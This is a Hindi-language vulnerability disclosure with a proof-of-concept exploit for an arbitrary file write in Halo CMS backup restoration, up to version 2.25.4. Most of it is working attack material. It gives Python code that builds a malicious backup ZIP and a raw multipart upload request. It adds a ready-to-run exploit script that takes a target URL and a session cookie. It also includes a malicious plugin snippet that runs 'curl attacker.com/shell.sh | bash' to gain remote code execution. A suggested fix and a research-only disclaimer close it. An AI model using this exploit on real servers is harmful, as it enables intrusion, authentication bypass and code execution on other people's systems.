
हैलो CMS बैकअप पुनर्स्थापना में मनमानी फ़ाइल लेखन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्लगइन JAR प्रतिस्थापन या प्रमाणीकरण बाईपास के माध्यम से RCE सक्षम करता है।
Halo CMS के 2.25.4 तक के संस्करणों में बैकअप पुनर्स्थापना कार्यक्षमता में एक गंभीर आर्बिट्ररी फ़ाइल राइट भेद्यता मौजूद है। MigrationServiceImpl.java में restoreWorkdir() विधि उपयोगकर्ता-आपूर्ति किए गए बैकअप आर्काइव से workdir/ निर्देशिका को सीधे Halo एप्लिकेशन की कार्यशील निर्देशिका (~/.halo2/) में कॉपी करती है, बिना फ़ाइल प्रकारों के किसी सत्यापन, पाथ ट्रैवर्सल सुरक्षा, या सिम्बोलिक लिंक जाँच के। बैकअप प्रबंधन विशेषाधिकारों वाला एक प्रमाणित हमलावर workdir/ निर्देशिका में आर्बिट्ररी फ़ाइलों वाली एक दुर्भावनापूर्ण बैकअप ZIP फ़ाइल तैयार कर सकता है, जो पुनर्स्थापना पर सर्वर की कार्यशील निर्देशिका में लिखी जाएंगी, जिससे प्लगइन JAR प्रतिस्थापन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) या RSA कुंजी प्रतिस्थापन के माध्यम से प्रमाणीकरण बायपास हो सकता है।
CVSS v3.1 स्कोर: 8.8 (उच्च)
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-73 (फ़ाइल नाम या पथ का बाहरी नियंत्रण)
यह भेद्यता MigrationServiceImpl.java की restoreWorkdir() विधि (पंक्तियाँ 230-243) में निहित है:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // VULNERABLE LINE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
copyRecursively() विधि (Spring का FileSystemUtils) निम्नलिखित के बिना एक पुनरावर्ती कॉपी करती है:
.. अनुक्रमों की कोई जाँच नहींयह भेद्यता बैकअप पुनर्स्थापना एंडपॉइंट के माध्यम से ट्रिगर होती है:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
पुनर्स्थापना प्रक्रिया इस क्रम का अनुसरण करती है:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → ZIP को अस्थायी निर्देशिका में निकालें │
│ 2. restoreExtensions() → extensions.data पुनर्स्थापित करें │
│ 3. restoreWorkdir() → workdir/ को ~/.halo2/ में कॉपी करें │
│ ↑ आर्बिट्ररी फ़ाइलें कार्यशील निर्देशिका में लिखी जाती हैं│
└─────────────────────────────────────────────────────────────┘
एक दुर्भावनापूर्ण बैकअप ZIP फ़ाइल में निम्नलिखित होना चाहिए:
malicious-backup.zip
├── extensions.data # आवश्यक: खाली या मान्य JSONL हो सकता है
└── workdir/ # आवश्यक: सामग्री ~/.halo2/ में कॉपी की जाती है
├── PWNED_BY_POC.txt # प्रूफ ऑफ कॉन्सेप्ट मार्कर फ़ाइल
├── plugins/ # RCE के लिए प्लगइन JAR
│ └── evil-plugin.jar # दुर्भावनापूर्ण प्लगइन
└── keys/ # प्रमाणीकरण बायपास के लिए RSA कुंजियाँ
├── pat_id_rsa # दुर्भावनापूर्ण निजी कुंजी
└── pat_id_rsa.pub # दुर्भावनापूर्ण सार्वजनिक कुंजी
restoreExtensions() के सफल होने के लिए extensions.data फ़ाइल मान्य होनी चाहिए। मान्य प्रारूपों में शामिल हैं:
खाली फ़ाइल: (खाली सामग्री)
खाली पंक्ति: \n (केवल न्यूलाइन)
मान्य JSONL: प्रति पंक्ति एक ExtensionStore ऑब्जेक्ट:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
जहाँ data base64-एन्कोडेड सामग्री है।
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# खाली extensions.data (restoreExtensions सत्यापन पास करता है)
zf.writestr('extensions.data', '\n')
# ~/.halo2/ में लिखने के लिए आर्बिट्ररी फ़ाइल
zf.writestr('workdir/PWNED_BY_POC.txt',
'Arbitrary file write confirmed!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
फ्रंटएंड बैकअप प्रबंधन पता: http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Halo सर्वर पर
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/ में कोई भी फ़ाइल लिख सकता है| हमला वेक्टर | लक्ष्य फ़ाइल | प्रभाव | गंभीरता |
|---|---|---|---|
| प्लगइन JAR प्रतिस्थापन | ~/.halo2/plugins/*.jar | रिमोट कोड एक्ज़ीक्यूशन | गंभीर |
| RSA कुंजी प्रतिस्थापन | ~/.halo2/keys/pat_id_rsa | प्रमाणीकरण बायपास | गंभीर |
| थीम प्रतिस्थापन | ~/.halo2/themes/* | संग्रहीत XSS | उच्च |
| कॉन्फ़िगरेशन ओवरराइट | ~/.halo2/*.yaml | सुरक्षा नियंत्रण बायपास | उच्च |
एक हमलावर एक वैध प्लगइन JAR को निम्नलिखित युक्त दुर्भावनापूर्ण JAR से बदल सकता है:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// मनमाना कमांड निष्पादित करें
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
जब प्लगइन लोड होता है, दुर्भावनापूर्ण कोड Halo प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होता है।
#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Halo backup restore arbitrary file write confirmed!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Status: {r.status_code}")
print(f"Response: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# PoC निष्पादित करें
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# Halo सर्वर पर
cat ~/.halo2/PWNED_BY_POC.txt
restoreWorkdir() विधि में सत्यापन जोड़ें:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// कोई पाथ ट्रैवर्सल नहीं है इसकी पुष्टि करें
checkDirectoryTraversal(backupRoot, workdir);
// कोई सिम्बोलिक लिंक नहीं है इसकी पुष्टि करें
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Symbolic links not allowed");
}
return FileVisitResult.CONTINUE;
}
});
// सत्यापन के साथ कॉपी करें
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaयह भेद्यता प्रकटीकरण केवल सुरक्षा अनुसंधान उद्देश्यों के लिए है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है। सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।